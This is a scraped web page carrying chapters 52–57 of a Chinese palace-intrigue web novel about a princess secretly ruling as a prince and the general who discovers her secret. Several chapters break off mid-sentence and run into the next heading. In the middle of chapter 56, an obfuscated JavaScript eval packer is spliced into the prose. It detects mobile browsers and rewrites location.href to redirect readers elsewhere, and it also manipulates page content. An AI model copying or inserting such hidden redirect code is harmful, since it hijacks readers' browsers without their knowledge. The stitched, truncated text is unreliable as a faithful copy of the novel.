段姝焉灿然一笑,装傻:“啊?” 空气中沉默了两秒,柏萧鹤收回视线,说:“是徐行派人开的城门。” 他翻身上墙,低眉问,“计划有变,我去找她,你要一起吗?” ---- 柏萧鹤抬手拨了拨秦祉遮挡眼前的发丝,偏头问:“殿下?” “他可以相信。”段姝焉神色复杂的望向那人,“只是阁主没时间留在都邑,公子若是能寻到医师,麻烦派人去南城外。” “我要带她……” “公子!”段姝焉揖礼道,“此为梌州晋赭亲王殿下,若您相助,来日必会重谢。” 这是在划清界限。 段姝焉如何不认识此人就是秦氏的长公子,当年都邑城锦衣玉食、 52. 掉马 《白首相知犹按剑》全本免费阅读 “熟人?”柏萧鹤微微挑眉,“你不回答的话我就杀了?” 怀中秦祉面色苍白,看似安详地紧闭双眼,没有声音。 “你!”那人冷笑一声,举刀冲来,“够能装的啊,能伤到我都算你厉害了!” “啧。”柏萧鹤轻嗤一声,侧身避开,手腕一转,轻松用战戟将人挑开,只是留了些许力道,没下死手。 他一惊,这人竟轻描淡写地抵挡住了他的攻势? “咳,刚刚是我小瞧你了,意外让你得意了一番......” “废话真多。”柏萧鹤眉眼压低,戾气因耐心被磨没而尽显,眨眼的功夫便冲着那人要害而去,只一招。 旁人眼中自以为是的熟识,实则根本不能入得这些高贵之人的眼。 杀人,也不过头点地呀。 “唔……”秦祉身子一歪,险些掉下去,被弄醒了,“早晚、得死你手里……” 柏萧鹤笑着伸手一接…… 僵住了。 ---- “你就是柏萧鹤将军吧,段姝焉在信里跟我提起过你。” 乌庆县,里家书苑,王渊将带着血的衣襟交给下属,吩咐着“直接烧了”,而后含笑转向柏萧鹤:“在下姓王,名渊,字贡闻,乃是里家书苑的掌柜。” “她如何了?” 王渊看了一眼紧闭的门,说:“阁主吉人自有天相,想必不会死。” 柏萧鹤蹙眉:“你们的要求就这么简单?” “如果你是一直跟着阁主的话。”王渊神色复杂的看着对方,而后转移了话题,“阮义一死,群龙无首,势必大乱,阁主需养伤,此局不宜再插手,应当速回晋赭。” “?” 柏萧鹤莫名其妙看他一眼。 “在座各位皆是阁主下属,理应以阁主为重,可无一不是听凭阁主命令行事,若是她并非有意回晋赭,岂不是……”王渊故意顿了顿,咽回去了“逾越”二字。 “呵。”柏萧鹤轻笑一声,歪头俯视他,“太刻意了。” “你们的行事作风,跟你们阁主一个德性。” 王渊表情一僵,这人骂人不带脏字,一句话怼了一圈人。 屋内大门就在此时被推开,医师满头大汗,拎着药箱走了出来,顷刻间吸引众人目光。 “怎么样?” “生命倒是无大碍,只是伤势过重,需要静养好些日子。”医师说着,将药方递了过来,“按照这个去煎,每日三次服下即可。” “人呢,醒了吗?” 健硕挺拔的身躯赫然遮挡住视线,医师下意识退了半步:“神志恢复了一……哎!” “病人还不能被打扰,你要干什么!” 屋内床榻,秦祉墨发披肩,柔顺地搭下,白色中衣柔软的贴着肌肤,因着伤口疼痛未减,面色惨白,唇无血色。 柏萧鹤推门而入时,崔颉妙端着水的手一惊,险些拔刀:“哎?” “哎呀这是在干什么!还不都快点出去!”医师急急忙忙地又折返回来,跟在身后的还有王渊和几个亲卫,一下子变的热闹极了。 “做什么呢?”秦祉微微抬眼,忍无可忍地挥了挥手:“都下去。” 过了半盏茶,屋内屋外都回归了安静,唯有煮茶声缓缓流进耳中,带着十足的惬意。 “你怎么不走?” “我走了谁给你煮茶?”柏萧鹤漫不经心地舀出一勺水,激出汤心后投下茶沫。 秦祉半靠着榻,偏头提醒:“记得酽一点。 “酽什么酽。”柏萧鹤轻斥一声,将茶盏拿到秦祉面前,“凑合喝吧。” 秦祉抿了一口,茶气的清香瞬间弥漫唇齿,她惬意的眯了眯眼,勾起唇角说:“真是想不到,还以为想你们兰干那样的人,比起茶,更喜欢大碗喝酒的。” 柏萧鹤手一顿,若无其事道:“有人喜欢这样,便学了。” “看不出来啊。”秦祉笑笑,因着牵扯到了伤口而倒吸了一口凉气,“是喜欢的人?” “殿下……”柏萧鹤腔调慵懒撩人,带着点缱绻的性感,“有时候真想劈开你的脑子看看你都在想些什么。” “这个简单,想知道什么,你可以问。”秦祉抬眸看他,“我也可以说。” “比如?”柏萧鹤挑眉反问。 秦祉平静道:“比如,你是不是知道了。” “知道什么?” “何必呢?打哑迷有意思?” “自然是有的。”柏萧鹤垂眸低笑两声,他凑近秦祉,悄声说,“尤其是和殿下。” “什么时候知道的?”秦祉目不转睛地盯着他,目光过于炙热,后者往后仰了仰,说,“昨夜。” 这话倒也不假,虽说早些时候柏萧鹤是有感觉的,但是那种微乎其微的异样感始终也不曾捕捉到苗头,换了谁来也不可能想到,梌州晋赭王会是一个女子,尤其还是先皇在世时就行过大典的,从上到下多少人接管此事,若是刻意要瞒,简直难如登天。 “看样子感情不错,只是不知道你对这个小骗子了解多少?” 张陏当日那番话从脑海中一闪而过,紧接着,是葛向北模棱两可的宠溺态度,以及段姝焉最后飞扑上去的身影和看似暧昧的举止…… 至于她自己,对凌云和另一个女子的出手相助;听得见为孩子哀嚎痛苦的母亲的声音;甚至于不顾礼节,半夜闯入府邸,插手荀谌和安瑾的私事…… 是命运相连,苦痛并受的,同为浮沉乱世中女子生存不易的牵绊与共感。 他早该猜到的。 柏萧鹤哑声失笑,一个感性与理智并存,内心强大、拥有权势却仍看得见苍生倒悬、生灵悲泣而愿意施与温柔的人,本该是一位女子。 “比我想象的要晚啊。”秦祉感慨道,她没有任何意外,因为她从未刻意隐瞒这个既定的事实。 “中原的达官显贵哪个不是涂脂抹粉,这谁看得出来?” 这话倒是不假,越是贵族之人,越注重颜面,除去基本的着装,首饰粉墨也样样不缺,左右不过“体面”二字,示以家族风范。 “也是。” “这算是个秘密吗?”柏萧鹤笑着用膝盖碰了碰她,“哎,你不会灭口吧?” 秦祉故弄玄虚的摇头叹气:“说不好。” “我刚把你从都邑城一路救出来的还记得吗?”柏萧鹤屈指轻轻弹了秦祉额角一下,“没良心的。” 等 53. 初遇 《白首相知犹按剑》全本免费阅读 “他们要攻城了!!!” “将军!云梯车架起来了!” 刺眼的太阳明晃晃落在众人头顶,将这氾州乱象一览无余,兰干西部的县城,所有人整装待发、严阵以待,城池外,密密麻麻犹如蝗虫过境般等待着伺机攫取,静候着猎物的松懈。 这就是燕安十六年的“黑蚁”起义,难民、土匪、贼寇,无数乱世苟且偷生之人为了活命,于各地揭竿而起,掀起的一场为期两年的大混乱。 “将军!我们要怎么办,他们人数实在是太多了,一旦城破难以抵挡。” 城楼之上,年仅十五岁的柏萧鹤,此时的他眉眼更为稚嫩,烈日之下带着独属于少年的锋利锐气,他迎着风居高临下,铠甲衣袍翻飞。 “有些难办。”柏萧鹤蹙眉,声音清冽干净,他回首问,“朝廷那边怎么说,确定要杀吗?” “朝廷那边还用得着问?一律按照叛党谋逆处置,杀无赦。”声音慢条斯理的,听起来有些意味阑珊。 “但这些人只是想要活命而已。” 面前的人微微侧身看过来,露出了那张精致美艳的面容:“小孩,等你长大自然就明白了。” “你不过也就大了那么八岁,叫谁小孩?”柏萧鹤凤眸一挑,斜眼看他。 “不是说年龄,是心智。”花颖慈勾唇,“这次战役结束,天子会召见你,等你去了都邑,就能明白我说的话了。” “你。”花颖慈随手一指,吩咐道,“城内道窄,重骑碾不动,叫他们往回撤。” “啊?直接……撤退吗?” “重骑很贵的。”花颖慈语重心长道,“要花很多钱才能养的起,别浪费了。” “可是小柏校尉这里怎么办?” 花颖慈手指摩挲着镶金剑柄,若有所思道:“城池又不会破,会有人来协助的,守住今天就是了。” 他所言不虚,当地豪强士族连同官兵一起,开启了长达半年的,肆无忌惮的打压追捕,从而饿殍千里、白骨遍野,直至平息战乱、稳定局势…… 而柏萧鹤,作为兰干的领军人,他的名字也不仅限于氾州,而是首次出现在了中原众人的视野之中。 ---- 半年后,都邑城。 “这便是此次平息黑蚁起义的小柏将军吧,当真是年少有为呀。” 畅春园内,或官员或士族,掌握天下命脉之人,皆齐聚于此,闲谈雅座。 人群中,刚刚晋升的少年小将军面色平淡地垂眸看着酒杯,闻言只微微抬起眼帘,淡漠地笑道:“过奖。” 这种中原虚与委蛇的宴席,是他们这种自由自在生长于兰干草原之上的人最为厌恶的东西。 “流寇之首倒是解决了,只是各地仍有余党还未处理干净,二位恐怕在都邑也呆不了多久的日子吧?” 花颖慈单手撑着下颚,似笑非笑说:“大概吧,左右剩些余党,倒也用不上我们亲自出面。” 这人的注意一下子被转移了,瞧着花颖慈的目光都有些泛着浑浊,他缓缓笑道:“常听人说,这兰干的都护将军容颜绝色、貌若天仙,比女子还要更甚,今日一见果真不同凡响,就是不知......这样漂亮的脸,在战场上究竟是凭借什么才赢得啊哈哈哈哈........” 极度令人作呕的笑声蔓延开来,带着身居高位的藐视和肆无忌惮的嘲弄,意有所指的言论让在场许多人都仿若看好戏般投来了视线,数道目光凝聚于此的一刻,花颖慈却反而倏尔一笑。 “呵。”花颖慈将酒杯轻轻放下,继而缓缓吸了一口气,侧首抬眼看向那人,声音丝毫未改,“阁下既如此好奇战场,下次便一同前来观战就是。” “哎,那有什么意思?”这人笑着说,“不如就今夜,将军亲自为在下讲述讲述......” “啪!” 酒杯碰地发出清脆的声音,瞬间打断了筵席的氛围,也截断了男人的话,这人看上去面色阴沉了不少,十分不满意地眯起眸看去:“小柏将军这是怎么了,连一个酒杯都端不住吗?” 柏萧鹤目光冷冷地盯着地面上那盏精致漂亮的酒杯,只觉得都邑的一切都无比恶心,无论是人、还是事。 四年前他第一次来的时候是如此,如今还是这般装腔作势。 浓厚的杀意从眼底蔓延,突然手臂一沉,柏萧鹤顺势望去,却见那只手的主人冲着幅度甚微的摇头,他凤眼微微睁大,似乎在传递一句话。 为什么? 为什么要隐忍?为什么不动手?为什么,不杀了他? 后者也似乎了然了他的想法,微蹙的眉心舒展,轻声笑说:“小孩。” 这就是差距。 边疆与天子脚下权势地位的差距。 皇权被架空,当今天下,以五世三公为首,中原十姓为辅,瞧不起地方豪强门阀,地方门阀又瞧不上边城军阀,再往下数则是无名世家,乃至最后的寒门子弟。 上层士族互相联合,结成婚约,形成无法被人动摇的绝对权势地位,收揽天下之财,地方之官。 而这其中,当属都邑城,天子脚下,最是达官显赫。 “忍一时,不忍一世。”花颖慈收回手,命身后侍从将那酒杯拾起,而后道,“小柏将军甚少踏足中原,更不必说是都邑,如今天子脚下,尚有些紧张,望诸位不必介怀。” “这怎么会呢,只要......”这人半分不知收敛,却不想门外一道人影晃过,等到看清对方脸的那一刻,所有人皆纷纷起身行礼,“左将军。” 来人视线半点没分给旁人,直愣愣冲着主位走去,而后理所应当地趺坐,冷眼瞧着面前站立的人,嗤笑一声,说:“你还有心思在这说些有的没的?” 熟悉的五官,多年未改的嚣张跋扈,柏萧鹤微微眯起眸,不着痕迹地看着来人,这人就是,周氏嫡三子,周和。 忍耐、蛰伏、盯紧猎物直到发现弱点的那一刻,厮杀扑咬到最后一滴鲜血流尽。 这是草原的狼捕猎时最常用的战术,也是柏萧鹤从小听到大、学到大,幻化为本能的做风。 但显而易见,再锋利的爪子,在中原这些人的面前,也不能肆无忌惮。 四年前荀谌入朝拜见天子之时,那是柏萧鹤第一次,进入中原,然后就见识好大一场恃强凌弱的,场面。 54. 梌州 《白首相知犹按剑》全本免费阅读 周和莫名其妙的一句话,让此人瞬间哑声,他脑海里飞速旋转着最近自己是忘记了什么事,还是得罪了他们周氏不成? “不知可否请左将军指条明路?”他小心翼翼地问。 周和反而失笑,像是听到了什么有趣的言论,挑起眉眼看他:“殷州‘黑蚁’的事你不是没少掺和吗?派去地方的军需让你捞着不少钱吧?” “什么?”那人大惊失色,连忙否认,“左将军说笑了,这是哪里的话,我什么时候......” “朔昭阁查出来的。”周和歪着脑袋,“朔昭阁你应该知道吧。” “天子的死士。” 仿若五雷轰顶,周和既如此说,那便是已经有了十足的证据,朔昭阁并非普通的死士,那是天子的眼,天子的爪牙,唯一一个不会被任何势力所策反的组织。 即便如今天子式微,也不妨碍以此等罪名定罪于他,毕竟落井下石的人不在少数。 他目光恍惚地从面前众人的脸上一一扫过,无外乎都是一片冰冷,他心道,这回是真的要完了。 “不、不对......”他猛然想到了什么,渴望地看向周和,“左将军、左将军,求您救......” 后者似乎对他全然失去了兴趣,反而带着笑地看向花颖慈,温和道:“听闻都护将军武功盖世,如今小柏将军也如此英武,兰干果真是人才辈出,就是不知二位可有入都为官的想法?” 这是在...拉拢。 还是试探? 花颖慈心下一凛,这种话远比那人出言不逊要来的危险的多。 ---- “殷州黑蚁的军需……”秦祉半靠着听他说话,回忆道,“我记得这事是韩阁带着我亲自去办的。” 秦赜一噎,瞪她一眼,冷笑道:“我记得当年某人说的好像是,出游去玩了?” 秦祉缓缓扯出一个略显尴尬的微笑:“......” “然后呢,花颖慈又是如何从周和那里全身而退,转移到你这边的?” “你当年昼出夜伏的,究竟在和你的那位天子干什么呢?”秦赜微微叹气。 “一边是阮义虎视眈眈,另一边朱太后又死死盯着皇位。”秦祉说,“大将军朱泓全然听命他姐姐,周氏也站队太后,我自然是忙着从这两股势力中为天子寻找一条生路。” “是这样的。”秦赜颔首道,“就是因为你天天往皇宫里跑,经过多年的努力,行踪终于叫人发现了。” “不过要我说,他们发现的都已经算是晚……哎!”秦赜硬生生被砸了一下,凭肘几上的毛垫“嗖”的一下冲着他的身子飞去。 “小心伤……”秦赜蹙眉道,“你要是伤口再裂开,门外朔昭阁的那些人能将我生吞了。” 秦赜坐了回去,继续道:“总之局面都乱成一锅粥的情况下,你的身份被人怀疑了。” “那么早就......”秦祉诧异地看去,“是谁?” “朱泓。”秦赜平静说,“不过还是有些差别的,他们怀疑你或许就是晋赭世子,因此派人前来卧底试探。” “这都能疑心到我头上?我对外宣称的难道不是秦家的女公子吗?” 秦赜笑了笑:“他们觉得是男扮女装。” “……”秦祉都忍不住想要为有这个想法的人鼓掌,从某种意义上说,猜的倒也够准。 “这么说,派来的人......是王复?”她猛地想起了什么,“所以王复背后的人,是朱泓,或者说是朱太后。” 王复,秦赜手下的贴身侍卫,也是花颖慈当年在廷尉段家,托段姝焉转赠予她的那份礼物。 秦赜不可置否的点头。 “王复是你的贴身侍卫。”秦祉瞥他,多少有点嘲讽的意思了。 “五年未见你就这么气我?” “彼此彼此。”秦祉满足地怼了回去,这才正色道,“花颖慈一个兰干人,他是怎么知道都邑城各家势力的?” 后者微微摊手:“只能说,这水比想象中的要更浑、更深。” “那么接下来呢,你有什么打算?”秦祉问,“要......” “不要。”毫不犹豫地回答。 一句话憋了回去的秦祉:“……拒绝的够果断啊。” “天子式微,乱贼当道,理想抱负皆如明月芦花,若非苟且偷生,便只能慷慨悲壮而死,是以肱骨之臣之志也。”秦赜微微垂下眼帘,神色淡漠到了极点,好似这才是他最原本的模样。 “生逢乱世,我秦赜承父亲之志,择明主效忠贞之节。”他目光清澈而凉薄,缓缓移到秦祉脸上,轻笑一声:“只是......” “秦家血海深仇,我必亲手屠之。” ---- “他守了你两天,戾气很重,就差没动武器赶我出门。”柏萧鹤单手撑着马车的窗沿,“都要找根链子栓一起了,怎么如今又散了?” “谈崩了?” 天子被徐行先一步转移,阮义旧部叛乱,互相厮杀,屠玉被张陏带走,不知所踪,周令扑空,正重整军队,意图撤回翼州。 秦祉面无表情地阅读完段姝焉传来的信件后,将其收入袖中,说:“那他可真是奇怪呢。” 又来了。 这人一遇到不想回答的问题,就开始东拉西扯些有的没的。 柏萧鹤觉得有些好笑:“接下来呢,打算如何?” “荀谌怎么和你说的?”秦祉反问,“讨阮事成,不出半月天下皆知,你们兰干的下一步计划呢?” “既是跟着殿下来的,当然站队殿下呀。” 两个人对视一眼,皆笑着,不再说话。 讨阮事成,晋赭王当属头功,这事传播地越远越广,天下响应她的人便越多,因此回梌州前最后一件事,便是要大肆宣扬一番。 那就是将谶纬编排出去,散至各处,以示为天道。 “最近方士跑到潭州来传谶纬,我听着那话里的意思,说是此次阮义之死,是晋赭王的大功啊。” “我也有所耳闻,说他才是众望所归,有天子之气笼罩,必能担以大任。” 潭州界内,各郡县间百姓中皆为流传着这样的传言,马车缓缓驶过其中,柏萧鹤将车帘放了下来:“是洛书教的人。” “说的什么?”秦祉微微偏头。 “不是你让人传的话?”柏萧鹤反问,手指轻轻点着杯沿,“说你有天子之气,众望所归呢。” “要不准备准备,说不准一回梌州,黄袍就要披你身上了。” “啧,玩大了。”秦祉揉着太 55. 毒哑 《白首相知犹按剑》全本免费阅读 “这么快就......回....”来了? 司昀声音越说越哑,到最后没有了动静,换来一副极度震惊的表情,颤抖地指着,无声怒道:这药效也太夸张了吧! 角落中钟怀带着满分的欢喜,上前握住了司昀的手,然后上下摇了摇,捧着大刀昂首挺胸的离去。 司昀无可奈何地叹了口气,回头看向那姑娘,比划着:关和,解药呢! 关和眨了眨眼:“张舒说,就是嫌你们话太多,才故意做成糕点的样子放在这里的,当然也就没有解药啦。” 阴险,太阴险了。 张舒这么干也就算了,他那个人一向喜静,因此每次来朔昭阁一回就跟被抽魂了一般,身心俱疲的走,可是关和!她关和竟然明知那糕点有毒的情况下,也不提醒着点他! 哦对了,还有那该死的钟怀。 司昀愤愤瞪了对方一眼,目光无意落到了那份糕点上,若有所思的望了一会儿,然后忍不住笑了,笑容有点邪。 关和将一切收入眼底,暗自好笑:这回真成接力赛了。 就是不知道下一个受害者会是谁了…… 半个时辰后。 关和:“……啊?” 司昀:“!” 钟怀则更是差点没笑倒在地,整个人都要趴地上了,止不住锤着腿。 “你们做什么呢这是?”贾文勰觉得头疼的用手按了按眉心,“殿下,不必理会,你......” 他回首,看见秦祉一言难尽的表情后,犹豫了片刻:“殿下?” 秦祉无声地闭了闭眼,而后抬手指向司昀,后者惊恐地摆手,示意道:是张舒!张舒! 司昀崩溃:苍天,冤枉啊! 唯一值得庆幸的,便只有拾起一块意图吃,但是还没有进嘴的柏萧鹤,此刻正云淡风轻地将糕点扔回了碟中,暗自松了口气。 气氛比较诡异,这是张舒被女官请进书房时的第一感受,他面色冷寂寡淡,如雪中月、镜中花,疏离有礼地朝着秦祉的方向微微点头。 “张舒见过殿下。” “张舒,这个的解药拿出来吧。”贾文勰竭力平静地说。 张舒闻言微微蹙眉。 “钟怀司昀吃了也就算了,问题是现在......”贾文勰压低声音,故作正色,“那呢,主公也跟着说不出话,有些过于荒诞了吧?” 他的身后,秦祉感受到一丝视线,微微偏过头,就听对方平静道:“没有。” 她又猛地把头转了回去:“!” “我不是说谎,解药没有。”张舒眉眼不易察觉的舒展,不仔细分辨的话,看不出来他的好心情,“只有毒药,一日后会好,放心,死不了。” 这谁能放心的下啊! “一日后就晚了,探子来报说,已经看见陈岁出现在晋赭了,除此之外的是,陈徽也跟着来了。”贾文勰说,“原本就跟他们陈家解释不清,主公这回可更有趣儿了。” 那不如干脆...... 让陈徽也变成哑巴好了! 秦祉坐直了身子,对面的司昀觉得浑身一颤,这个神色一看就憋的不是什么好招。 反而是柏萧鹤先行笑出了声,意会到了她的意思。 “不太行啊,主公。”贾文勰目光从秦祉身上游离柏萧鹤,再看回来,“好歹是蜀州陈氏,这么做完真打过来了怎么办?” 贾文勰的担忧不是没有缘由的,这不仅仅是对秦祉个人的不放心,更是对陈岁为人的怀疑。 金丝银线绣仙鹤麒麟,外袍披身,面容清丽的少女走在晋赭城内,行为举止不急不缓。 “教主,有教众传言,说您的兄......” “嗯?”陈岁垂眸一瞥,那人连忙改口,“说陈氏二公子陈徽,已经到城门外了。” “追的这么紧做什么?叫教徒去拦住他。” “教徒想拦,可这人实在可恶,见洛书教派就杀,我们的人实在打不过。” 陈岁思忖片刻,说:“那就算了,让他跟,反正这里是殿下的地盘。” “晋赭王殿下还会护着您?” “不会了吧,她现在巴不得兴师问罪呢。”陈岁觉得好笑,她弯起唇角说,“只是陈徽来闹事,闹大了兴许蜀州就和梌州打起来了呢?” “届时趁乱我们再招揽一波信徒,偷够粮食就直接跑路!”语气微微扬起,像一只狡猾阴险的猫。 “站住!” 朔昭阁外,侍卫冷漠果决地拦住了陈岁的脚步:“再往前走,格杀勿论。” 陈岁看着抵住自己的长剑,含笑问:“你不认识我?” “我管你是谁。” “不应该呀...”陈岁煞有其事地表示,“回头告诉你们阁主,将朔昭阁密探的画像挂墙上,让每一个路过的人都背下来才是。” “那样才会出大问题。”崔颉妙从门后现身,她微微点头,侧身示意,“阁主等候已久,请。” “哎呀,真是多日不见,你更漂亮了呢!”陈岁可以贴近对方,轻轻吐出一口气,后者“噌”地拔刀警告,陈岁摊手后退了两步,笑道,“别动刀呀,怪不礼貌的。” 这个行为让陈氏看见,才真的会爆发出尖叫吧…… 崔颉妙将人一路遣送至书房,陈岁进门时,一道视线越来,她微微一笑,抬手理了理发丝:“姎,见过殿下?”尾音一百八十度的拐了上去。 “哎?”她微微愣住,书房正中的那个人,是谁啊? 一整个想死。 司昀被强行按到那个位置上的时候,收获到的是几个人无情的镇压。 还美其名曰为:谁让你非要把糕点摆在案几上,害的阁主不能说话,这事你不上谁上? 这就是赤裸裸的欺凌! 他难道不也是受害者之一吗? 不去找罪魁祸首的张舒的理由不就是怕他再次搞出什么乱七八糟的东西来吗! “你是谁?” 我是…… 司昀动了动手,在对方越来越迷茫的视线中,果断放弃了。 “晋赭王呢?” “啊……”司昀两只手合拢往腹部比划着,然后安详的闭上了双眼。 已受伤,在休息。 陈岁眉心越蹙越紧:“什么意思?你是哑巴吗?” 司昀摇摇头,又点点头。 “有毛病吧你?”陈岁冷声道,“你们两个人给我把他拿下,我倒要看看,他究竟是什么人,能随意出入朔昭阁书房。” 到底谁有毛病! ---- “司昀一个人对付陈岁,有点困难吧。”贾文勰骑在马上,从主街区穿行而过,“我怕是多耽搁一些时辰, 56. 动心 “少说废话,阿岁呢,叫她出来。” “使君怕是误会了,陈女公子如何能听我们的命令?她一向有主见的很。”贾文勰笑眯眯道,“不如这样,你若愿意,可以亲自来请她......” 陈徽刚要动身,只见对方又一抬手,说:“但是,只允许你一人入城。” “这不可能!”陈氏府兵当即拒绝,“太守如何只身涉险?” 贾文勰目光淡漠地一扫,复而说:“我们岂会对陈氏出手,讨阮一事刚刚结束,正需要歇息着喘口气呢,但你们陈氏入晋赭,我们可就不放心了。” “要么,使君一人前来,要么今天,谁都别想进。” 空气凝结住了,两侧皆没有再言语,带着春意暖流的微风吹荡河面,掀起层层波澜,足有数秒寂静后,陈徽缓缓开口:“你们在这守着。” “太守,万一......”陈徽冷漠地神色一瞥,顿时府兵噤了声,只俯首应答。 陈徽的戒备与厌恶并非无凭无据,这是对秦祉为人的一种极度的不信任,正如葛向北评价她的那句“唯恐天下不乱”。 与蜀州域陵陈氏的矛盾,当从三年前说起。 晋赭的商船走沄江往来晋州翼安,秦祉奉旨进京返回的途中,便顺道绕路去翼安见葛向北,正巧途径蜀州域陵。 “殿下,前面就是域陵,可要休息?” 端坐在马车上的秦祉止不住的打了个哈欠:“也好,连日赶路大家都累了,那便找个客栈歇息一日吧。” 正逢夏日,烈日炎炎,入目往来一片青衫凉笠,车队从城内大街驶过,引得人纷纷探头瞩目。 “咦?那是谁的马车啊?” “最近咱们这是怎么了,总有这大人物来呢?” “前儿个我倒是知道,是樵阳周氏派人来的,听说是要向陈氏提亲呢!” “樵阳周氏和域陵陈氏吗?”那人吃了一惊,“这可真是不一般啊......” “嗯?”秦祉趴在窗沿上,顺着缝隙朝外看去,竖起耳朵凑这份热闹,“周氏和陈氏的联姻动作这么快?” 另一端,司昀也跟着探头:“听说陈氏这次十分着急,左不过这两日,陈氏那位女公子就要送出去了。” “周氏的人不亲自来迎,只派下属来接?”秦祉意外道,“这样他们陈氏也愿意?” 司昀摆摆手说:“那就不清楚了。” “总归和咱们没什么关系,明日一早出发去找子赢叔,直接跟船回......”秦祉话未说完,马车猛地一震,紧接着是车外传来一阵惊呼,下一刻,一道人影凭空蹿了上来。 “什么人!” “殿下!保护殿下,有刺客!” 司昀手尖一抬挑出刀柄,不等看清脸的时候,环首刀锋已经带着戾气直冲人头。 “啊!”少女清透娇气的声音喊了一声,只可惜司昀并未停手,即便眼前的是个半大的孩子,也不妨碍他为保殿下安危夺对方性命。 所幸秦祉反应够快,抬手一按将刀刃剁向车板,锋芒从少女眼前划过,四目相对时,秦祉看清了对方惊慌失措的脸。 马车外亲卫连忙上前询问,“属下办事不周,殿下可有事?” 司昀将刀收起,掀起帷幔斥道:“等你们反应过来殿下都好该去阎王殿了。” “请殿下、校尉恕罪,属下这就将贼人带走审问......” “不、不......”那姑娘连忙摇头,伸手去碰秦祉的衣袖,却被司昀挡了开,“喂,管好你的手,再乱动直接砍掉。” 秦祉平静地看着对方,说:“一句话说清你的目的。” 对方缓了口气,微微颔首行礼,这才开口:“姎是......” “我不想知道你是谁。”秦祉打断道。 她愣了两秒,重新说:“我想贵人能否带我离开域陵。” ---- “连她的底细都不清楚,谁知道她会不会是谁的家奴跑出来的,殿下你也同意帮她,什么时候这么好心了?” “万一惹上点什么事,别说回去贾言贺要骂我,怕是在翼安,你的那位子赢叔都得先给我一顿念吧!” “殿下你就不能为我考虑考虑......” 耳边司昀絮絮叨叨的声音就没停过,秦祉云淡风轻地吃着食案上的点心,终于在司昀说的口渴,停下来喝口茶的时候,她淡淡开口:“那姑娘是陈岁。” “什么这岁那岁......”司昀不甚在意地回道,说着说着,突然手一顿,“谁?” “陈岁。” “噗。”一口茶喷了出来,声音提了八度,“殿下!” “你再大点声,让整个客栈的人都听见好了。” “不是。”司昀一屁股做到了秦祉对面,百思不得其解,“不是!” “她是陈岁?域陵陈氏的女公子陈岁?” “她现在要偷偷离开域陵,这不就是……”司昀压低声音说,“逃婚吗?” “既然知道她的身份,如何还要带着她,如果被人发现,那可是得罪了周、陈两大家族,咱惹不起的啊殿下。”司昀拖着尾音,十分无奈道,早知道他就不该跟着来的。 “如何知道她的身份?”秦祉笑了笑,“她不是没说嘛。” “我们既不知道她的身份,也不知道她的目的,只是她要出城,就顺路捎带一乘而已。” “好处呢?”司昀问,“被发现的话,陈氏哪里会听你这番解释,得不偿失啊!” 秦祉从袖口中递出一封信:“阅后即焚。” 司昀狐疑地打开,而后没了动静。 上面是蜀州据点的密探传递的情报,数月前蜀州乱战,难民涌入域陵后,陈岁私自开仓救人,致使陈氏宗族长老大怒。 其兄长,陈氏长公子陈为,为保小妹与周令利益联盟,将其赐婚给周和。 “私自开仓,这可是死罪……”司昀惊骇道,“那位女公子这么猛的吗?” “不对吧殿下。”司昀微微俯身,凑上前,“要是她还有这个罪名,帮她不是更容易出问题吗?” “你以为,若是联姻之后,她会如何?” “什么意思?” “她若嫁给周和,那一辈子就只能是周和之妻。”秦祉若有所思道,“但若是逃离蜀州,能不畏生死开私仓救人的人,必定会有一番作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12859165|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “而她的把柄在本王手中,若记得本王的好,便是我晋赭的又一同盟,何乐而不为呢?” “可得罪周、陈两家……” “陈氏不会对任何人声称陈岁跑了,周氏即便猜到也不会说。”秦祉缓缓勾唇,“那多没面子呀。” 最终的结果就是那事闹得很大,总之给域陵闹得人仰马翻的,不过秦祉始终觉得不能怨自己,如果不是陈氏非要死追着不放,她不也就混出城了。 还害的她最后连翼安也没去成,葛向北来信询问的时候,从那缭乱的字迹都可以看出他本人对秦祉行为的极度震惊。 ---- “哐当。” 朔昭阁内发出了一声巨大的声响,让陈徽进门的脚步下意识停住了,贾文勰见状笑道:“使君不必在意,请。” 朔昭阁是个神秘的组织,其中密探星罗密布,揽天下之才,却无人知晓具体名单,仿佛埋藏于黑暗中的眼,沉着地窥视着世间万物。 但,这只是个传说,就像是父母编造给小孩的睡前故事,没有几人当真,更不必说士族大家。 因为若真是如此,当年朔昭阁如何救不出天子,将朝纲拱手相让于阮义? 只是...即便再不济,也不应该是这个样子的...吧? 屋檐上扑簌簌掉落下一大块的时候,院子里的人同时朝着两边躲开,嘴里纷纷喊着:“司昀校尉,你到底在做什么啊?” “别再闹了,要是一会儿楼真塌了,阁主回来该怎么解释?” “洛书真女,你快让你那信徒住手,朔昭阁岂能容忍你胡来?” 陈岁蹙眉抬头望向始终一言不发,但表情丰富灵活,上窜下跳躲避追击,却没有还手的人,喃喃道:“故意的?” 终于,在最后一只火油被射上天空的一刻,火光四射中,好似两颗赤日当头,伴随一声巨响,司昀利落翻身而下,落定到了秦祉面前,一挥手:嗨!阁主。 屋顶…… 塌了。 “……” 秦祉表情相当平静,看起来接受度良好,只伸出手拍了拍陈徽肩膀,然后冲着他平伸,勾了勾手指。 陈徽眼中的不解代替了刚刚不可置信的神情:“什么?” 柏萧鹤轻飘飘地补上一句:“赔钱。” 好了,他现在又恢复了不可置信的表情。 “和我有什么关系。” 秦祉扬头示意,院内正中,是一张与陈徽有五分相似的脸,此刻正意图转身要跑。 “陈岁!” “天尊!殿下你竟然如此不守诚信,怎么能让他来朔昭阁!” “不守诚信的应该是真女吧?”贾文勰反问,“单是梌、潭二州,那些散播出去的谶纬不皆是出自洛书教吗?” “那是真神天命,更诓论你敢说你晋赭王便没有半分动心不成?” 此话一出,所有人皆是一惊,目光所及之处,只看他们家殿下闻言倏而一笑,金黄色的光泽落在锦服华冠之上,仿佛渡上一层金光。 陈岁所言之胆大,无不让人意外,因而贾文勰一时也并未出声。 她指的动心,是皇位。 57. 试探 